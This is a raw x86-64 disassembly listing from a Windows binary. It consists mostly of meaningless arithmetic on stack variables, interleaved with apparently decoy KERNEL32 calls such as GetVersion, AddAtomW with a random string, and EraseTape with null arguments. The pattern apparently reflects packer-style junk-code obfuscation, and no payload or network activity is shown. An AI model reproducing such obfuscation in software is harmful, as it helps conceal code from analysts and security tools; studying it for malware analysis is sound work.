mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11b], al
lea rax, [rsp + 0x2c88]
mov qword [rsp + 0x8d88], rax
mov eax, dword [rsp + 0x2040]
mov rcx, qword [rsp + 0x3dc8]
mov qword [rsp + 0x8d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d90]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5f60]
mov dword [rcx], eax
mov rax, qword [0x14018c2b8]
movzx eax, byte [rax]
mov byte [0x14018bdcd], al
lea rax, [rsp + 0xfac]
mov qword [rsp + 0x8d98], rax
mov rax, qword [rsp + 0x6028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7f4]
add eax, ecx
mov rcx, qword [rsp + 0x77a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x70f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcd4], ax
mov rax, qword [rsp + 0x5308]
mov rcx, qword [rsp + 0x7470]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a28], rax
mov rax, qword [rsp + 0x6d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x74b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8348]
movzx eax, byte [rax]
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x75b0]
mov rcx, qword [rsp + 0x5980]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3fe8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xdb4]
mov rcx, qword [rsp + 0x6820]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x658], ax
mov rax, qword [rsp + 0x5ab8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x89d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018c958]
mov word [rcx], ax
lea rax, [rsp + 0x61a0]
mov qword [rsp + 0x8da0], rax
movzx eax, word [rsp + 0xba8]
mov rcx, qword [0x14018bfd0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x66d0]
mov word [rcx], ax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x8da8], rax
mov rax, qword [rsp + 0x4bc8]
mov rcx, qword [rsp + 0x6cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7780]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [rsp + 0x11e], al
mov rcx, qword [rsp + 0x5b80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x7ed8]
mov rcx, qword [rsp + 0x5040]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4060], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2198], eax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x8db0], rax
lea rax, [rsp + 0xc94]
mov qword [0x14018ca40], rax
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x7158]
mov qword [rsp + 0x8db8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2bd0], rax
mov rax, qword [0x14018c860]
mov rax, qword [rax]
mov qword [rsp + 0x8dc0], rax
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x4020]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7f4], ax
movzx eax, word [rsp + 0xdc8]
movzx ecx, word [rsp + 0x404]
add eax, ecx
mov word [rsp + 0x97c], ax
lea rcx, [rsp + 0x15938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [0x14018ada0]
mov qword [rsp + 0x8dc8], rax
mov rax, qword [rsp + 0x5be0]
mov rcx, qword [rsp + 0x4e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x58e8]
mov dword [rcx], eax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x8dd0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x205c], eax
mov rax, qword [rsp + 0x86e0]
mov rcx, qword [rsp + 0x3718]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6058]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf50]
mov rcx, qword [rsp + 0x58b8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018be20]
mov word [rcx], ax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb0]
shl eax, cl
mov word [rsp + 0x910], ax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1ec0]
mov qword [rsp + 0x8dd8], rax
movzx eax, byte [rsp + 0x1eb]
movzx ecx, byte [rsp + 0x8e]
or eax, ecx
mov rcx, qword [rsp + 0x5e90]
mov byte [rcx], al
lea rax, [rsp + 0x3718]
mov qword [rsp + 0x8de0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2198], eax
mov rax, qword [0x14018c890]
mov rcx, qword [rsp + 0x57b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7388]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20bc]
mov ecx, dword [rsp + 0x1d98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x22dc], eax
lea rax, [rsp + 0x1e6]
mov qword [rsp + 0x8de8], rax
movsx eax, word [rsp + 0x8d8]
movsx ecx, word [rsp + 0xf38]
add eax, ecx
mov rcx, qword [rsp + 0x71f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x101c]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018c950], ax
mov rax, qword [rsp + 0x4c78]
mov rax, qword [rax]
mov qword [rsp + 0x8df0], rax
mov rax, qword [rsp + 0x74c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
sar eax, cl
mov rcx, qword [rsp + 0x7e40]
mov word [rcx], ax
movsx eax, word [rsp + 0xf54]
movsx ecx, word [rsp + 0x958]
add eax, ecx
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x2b60]
mov rcx, qword [rsp + 0x3098]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
movsx eax, byte [rsp + 0x213]
movsx ecx, byte [rsp + 0x1cf]
and eax, ecx
mov rcx, qword [rsp + 0x8800]
mov byte [rcx], al
lea rax, [rsp + 0x22a0]
mov qword [rsp + 0x8df8], rax
lea rcx, str.sGl0_8LQcGX_PDl
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0x8150]
mov rcx, qword [rsp + 0x5940]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4e00], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x8e00], rax
lea rax, [rsp + 0x8218]
mov qword [0x14018ca48], rax
mov rax, qword [rsp + 0x6530]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2028]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ae0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d0]
sub eax, ecx
mov byte [rsp + 0x1d4], al
mov rax, qword [rsp + 0x5480]
movzx eax, word [rax]
mov word [rsp + 0x1024], ax
movzx eax, word [rsp + 0xf68]
mov rcx, qword [0x14018c230]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8b58]
mov word [rcx], ax
lea rax, [rsp + 0x1fe]
mov qword [rsp + 0x8e08], rax
mov rax, qword [rsp + 0x5ef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2cb8]
shl rax, cl
mov qword [rsp + 0x3930], rax
mov rax, qword [rsp + 0x3e30]
mov rcx, qword [0x14018c188]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8208]
mov dword [rcx], eax
lea rax, [rsp + 0xe48]
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b58]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c3f0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8e18], rax
mov rax, qword [rsp + 0x72d8]
mov rax, qword [rax]
mov rcx, qword [0x14018c168]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7890]
mov rcx, qword [rsp + 0x8508]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3438], rax
mov rax, qword [rsp + 0x70c8]
mov rcx, qword [rsp + 0x4928]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4760]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5a08]
mov word [rcx], ax
mov rax, qword [rsp + 0x8318]
mov rax, qword [rax]
mov qword [rsp + 0x8e20], rax
mov rcx, qword [rsp + 0x6680]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x14018ad0c]
mov rcx, qword [rsp + 0x5f60]
mov qword [rsp + 0x8e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e28]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x4c88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x46d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4700]
mov byte [rcx], al
lea rax, [rsp + 0x1de0]
mov qword [rsp + 0x8e38], rax
lea rax, [0x14018bf48]
mov qword [0x14018ca50], rax
mov rax, qword [rsp + 0x8428]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7cb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov word [rcx], ax
movzx eax, word [rsp + 0xd58]
movzx ecx, word [0x14018ad00]
add eax, ecx
mov rcx, qword [rsp + 0x5568]
mov word [rcx], ax
lea rax, [rsp + 0x3a10]
mov qword [rsp + 0x8e40], rax
mov rax, qword [rsp + 0x8518]
mov rcx, qword [rsp + 0x3d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x65c8], rax
lea rax, [rsp + 0xf5]
mov qword [rsp + 0x8e48], rax
mov rcx, qword [rsp + 0x5b80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x22c8], eax
mov rax, qword [rsp + 0x8948]
mov eax, dword [rax]
mov rcx, qword [0x14018c920]
mov qword [rsp + 0x8e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x81a8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xecc]
movsx ecx, word [rsp + 0xd20]
xor eax, ecx
mov rcx, qword [rsp + 0x4d30]
mov word [rcx], ax
lea rax, [rsp + 0xae4]
mov qword [rsp + 0x8e58], rax
mov rax, qword [0x14018c8e8]
mov rcx, qword [rsp + 0x88a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14018c0d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e90]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc9c], ax
lea rax, [rsp + 0x4928]
mov qword [rsp + 0x8e60], rax
mov rax, qword [rsp + 0x6260]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7190]
mov qword [rcx], rax
mov rax, qword [rsp + 0x41c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x22bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2254], eax
movsx eax, byte [rsp + 0x229]
movsx ecx, byte [0x14018bdc6]
and eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x59b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8370]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x88a0]
mov byte [rcx], al
lea rax, [rsp + 0x1f04]
mov qword [rsp + 0x8e68], rax
mov rax, qword [rsp + 0x7860]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4540]
shr rax, cl
mov rcx, qword [rsp + 0x55c8]
mov qword [rcx], rax
lea rax, [rsp + 0xe44]
mov qword [0x14018ca58], rax
mov rax, qword [rsp + 0x5118]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7bb8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7b30]
mov word [rcx], ax
lea rax, [0x14018c798]
mov qword [rsp + 0x8e70], rax
movzx eax, word [rsp + 0xae4]
movzx ecx, word [rsp + 0xc94]
and eax, ecx
mov rcx, qword [rsp + 0x8b28]
mov word [rcx], ax
mov rax, qword [rsp + 0x72c8]
mov rax, qword [rax]
mov qword [rsp + 0x8e78], rax
movsx eax, byte [rsp + 0x20b]
mov rcx, qword [0x14018c020]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x78f0]
mov byte [rcx], al
lea rax, [rsp + 0x218c]
mov qword [rsp + 0x8e80], rax
movsx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x5b50]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe98], ax
mov rax, qword [rsp + 0x4908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa44]
shl eax, cl
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7110]
mov qword [rsp + 0x8e88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e88]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14018bec0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b08]
mov qword [rsp + 0x8e90], rax
mov rax, qword [rsp + 0x35f0]
mov rcx, qword [rsp + 0x2f58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ca8], rax
mov rax, qword [rsp + 0x58e0]
mov rcx, qword [rsp + 0x3880]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3908], rax
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0x4588]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6f60]
mov word [rcx], ax
mov eax, dword [rsp + 0x2108]
mov ecx, dword [rsp + 0x2234]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7f98]
mov dword [rcx], eax
lea rax, [rsp + 0x217]
mov qword [rsp + 0x8e98], rax
mov rax, qword [rsp + 0x5bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7c60]
mov byte [rcx], al
lea rax, [rsp + 0x3180]
mov qword [rsp + 0x8ea0], rax
lea rax, [rsp + 0x1bf8]
mov qword [0x14018ca60], rax
movsx eax, word [rsp + 0xef4]
mov rcx, qword [rsp + 0x52f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe90], ax
mov rax, qword [0x14018c8c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x60c]
sar eax, cl
mov rcx, qword [rsp + 0x7a08]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ef8]
movzx eax, word [rax]
mov word [rsp + 0x1028], ax
mov rax, qword [0x14018c8e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x45c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7488]
mov qword [rcx], rax
lea rax, [rsp + 0x22dc]
mov qword [rsp + 0x8ea8], rax
movsx eax, byte [rsp + 0x1b0]
mov rcx, qword [rsp + 0x44b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x54b0]
mov byte [rcx], al
lea rax, [rsp + 0x4680]
mov qword [rsp + 0x8eb0], rax
movsx eax, word [0x14018ae50]
movsx ecx, word [rsp + 0xdb0]
xor eax, ecx
mov rcx, qword [rsp + 0x8670]
mov word [rcx], ax
movzx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x68a0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14018c7a0]
mov word [rcx], ax
mov rax, qword [0x14018bfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8aa8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d0], rax
mov rax, qword [rsp + 0x6c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd0]
add eax, ecx
mov word [rsp + 0x88c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2310], eax
mov eax, dword [rsp + 0x2060]
mov rcx, qword [rsp + 0x5a40]
mov qword [rsp + 0x8eb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8eb8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7c18]
mov dword [rcx], eax
lea rax, [rsp + 0x81]
mov qword [rsp + 0x8ec0], rax
mov rax, qword [rsp + 0x7cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2300]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b48]
mov rcx, qword [0x14018c770]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
lea rax, [rsp + 0x101]
mov qword [rsp + 0x8ec8], rax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0x9a8]
add eax, ecx
mov word [rsp + 0xf60], ax
lea rax, [rsp + 0xf28]
mov qword [0x14018ca68], rax
mov rax, qword [rsp + 0x5f10]
mov qword [rsp + 0x8ed0], rax
mov rax, qword [rsp + 0x5328]
mov rcx, qword [rsp + 0x2e48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7fa8], rax
movsx eax, word [rsp + 0x6b0]
mov rcx, qword [rsp + 0x40f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf88], ax
lea rax, [rsp + 0x4fc]
mov qword [rsp + 0x8ed8], rax
mov rax, qword [rsp + 0x38d0]
movzx ecx, al
mov rax, qword [rsp + 0x2ed0]
shr rax, cl
mov qword [rsp + 0x8258], rax
movzx eax, byte [rsp + 0x18d]
mov byte [rsp + 0x22b], al
mov rax, qword [0x14018c550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2240]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3718]
shl rax, cl
mov rcx, qword [rsp + 0x4830]
mov qword [rcx], rax
lea rax, [rsp + 0xce8]
mov qword [0x14018ca70], rax
lea rax, [0x14018ad20]
mov qword [rsp + 0x8ee0], rax
mov eax, dword [rsp + 0x21cc]
mov ecx, dword [rsp + 0x1ec0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b78], eax
movzx eax, byte [rsp + 0x20d]
movzx ecx, byte [rsp + 0x1fd]
sub eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x2b20]
mov rcx, qword [rsp + 0x5230]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x62f0]
mov qword [rcx], rax
mov edx, 0xa28
mov rcx, qword [rsp + 0x46b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2180], eax
lea rax, [rsp + 0x6740]
mov qword [rsp + 0x8ee8], rax
mov rax, qword [rsp + 0x4838]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20ec]
shr eax, cl
mov dword [rsp + 0x1be0], eax
movsx eax, byte [0x14018bdc7]
mov rcx, qword [rsp + 0x8b20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19f], al
lea rax, [rsp + 0xf88]
mov qword [rsp + 0x8ef0], rax
movzx eax, word [rsp + 0xf20]
movzx ecx, word [rsp + 0xd8c]
add eax, ecx
mov word [0x14018c2d8], ax
mov rax, qword [0x14018c6f0]
mov rcx, qword [rsp + 0x2b50]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4770]
mov qword [rcx], rax
mov r9d, 0x1d3a
xor r8d, r8d
lea rdx, [rsp + 0x7ff8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2314], eax
lea rax, [rsp + 0xf14]
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x7f58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd8]
and eax, ecx
mov rcx, qword [rsp + 0x8698]
mov word [rcx], ax
mov rax, qword [rsp + 0x4550]
mov rcx, qword [rsp + 0x2f40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6740]
mov qword [rsp + 0x8f00], rax
mov eax, dword [0x14018c8d8]
mov ecx, dword [rsp + 0x1e9c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x215]
mov qword [rsp + 0x8f08], rax
mov rax, qword [rsp + 0x7830]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x618]
sar eax, cl
mov word [rsp + 0xae4], ax
lea rax, [rsp + 0x4b08]
mov qword [0x14018ca78], rax
mov rax, qword [rsp + 0x81a0]
mov rcx, qword [rsp + 0x83e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x229c], eax
lea rax, [rsp + 0x1c3]
mov qword [rsp + 0x8f10], rax
movsx eax, word [rsp + 0x398]
movsx ecx, word [rsp + 0x548]
shl eax, cl
mov word [rsp + 0xcac], ax
movzx eax, word [rsp + 0xd54]
movzx ecx, word [rsp + 0xde0]
xor eax, ecx
mov word [rsp + 0x6bc], ax
mov rax, qword [rsp + 0x75b0]
mov rcx, qword [rsp + 0x4210]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7148]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [0x14018bf70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5b38]
mov byte [rcx], al
lea rax, [rsp + 0x1bec]
mov qword [rsp + 0x8f18], rax
mov rax, qword [rsp + 0x6748]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [0x14018c178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5bd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14018ae1c], ax
lea rax, [rsp + 0x39b8]
mov qword [rsp + 0x8f20], rax
mov rax, qword [rsp + 0x8778]
mov rcx, qword [rsp + 0x4a50]
mov qword [rsp + 0x8f28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f28]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
lea rax, [0x14018ad28]
mov qword [rsp + 0x8f30], rax
mov rax, qword [rsp + 0x7fb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1018]
and eax, ecx
mov rcx, qword [rsp + 0x6b20]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b80]
mov rcx, qword [rsp + 0x7100]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x83f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7e70]
movzx eax, byte [rax]
mov byte [rsp + 0x22c], al
mov rax, qword [rsp + 0x7200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6fc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c50], rax
mov eax, dword [rsp + 0x2030]
mov dword [rsp + 0x2318], eax
mov rax, qword [rsp + 0x4b58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x217]
and eax, ecx
mov rcx, qword [rsp + 0x59b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x89f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8570]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14018ad64], ax
movzx eax, word [rsp + 0xdf4]
mov rcx, qword [0x14018c230]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6478]
mov word [rcx], ax
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x8f38], rax
mov rax, qword [rsp + 0x7cc8]
mov rcx, qword [rsp + 0x2ba0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4698]
mov qword [rcx], rax
lea rax, [rsp + 0x1b10]
mov qword [rsp + 0x8f40], rax
mov rax, qword [rsp + 0x5808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x66e8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b5]
movsx ecx, byte [rsp + 0x207]
sar eax, cl
mov rcx, qword [rsp + 0x8058]
mov byte [rcx], al
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0x8f48], rax
movzx eax, word [rsp + 0xb94]
mov rcx, qword [rsp + 0x5258]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
lea rax, [rsp + 0x8a10]
mov qword [0x14018ca80], rax
movzx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x6640]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x7530]
mov rcx, qword [rsp + 0x7030]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6448], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2218], eax
mov rax, qword [rsp + 0x5728]
mov qword [rsp + 0x8f50], rax
mov rax, qword [rsp + 0x5980]
mov rcx, qword [rsp + 0x2b88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x66a8], rax
mov eax, dword [rsp + 0x227c]
mov rcx, qword [rsp + 0x71d8]
mov qword [rsp + 0x8f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f58]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x40c0]
mov dword [rcx], eax
lea rax, [rsp + 0x206]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x7348]
mov ecx, dword [rsp + 0x1c54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x22cc], eax
lea rax, [rsp + 0x10a]
mov qword [rsp + 0x8f68], rax
lea rax, [rsp + 0xcec]
mov qword [0x14018ca88], rax
mov rax, qword [rsp + 0x8658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7330]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0x49a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x88c]
add eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
lea rax, [rsp + 0xec4]
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0x7df0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x43d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x70a0], rax
lea rax, [0x14018bdc6]
mov qword [rsp + 0x8f78], rax
mov eax, dword [rsp + 0x20b0]
movzx ecx, al
mov eax, dword [rsp + 0x1c64]
shl eax, cl
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e18]
movsx eax, word [rax]
mov rcx, qword [0x14018be00]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5cd0]
mov word [rcx], ax
lea rax, [rsp + 0x8f4]
mov qword [rsp + 0x8f80], rax
mov rax, qword [rsp + 0x3100]
movzx ecx, al
mov rax, qword [rsp + 0x4740]
sar rax, cl
mov rcx, qword [0x14018c1e8]
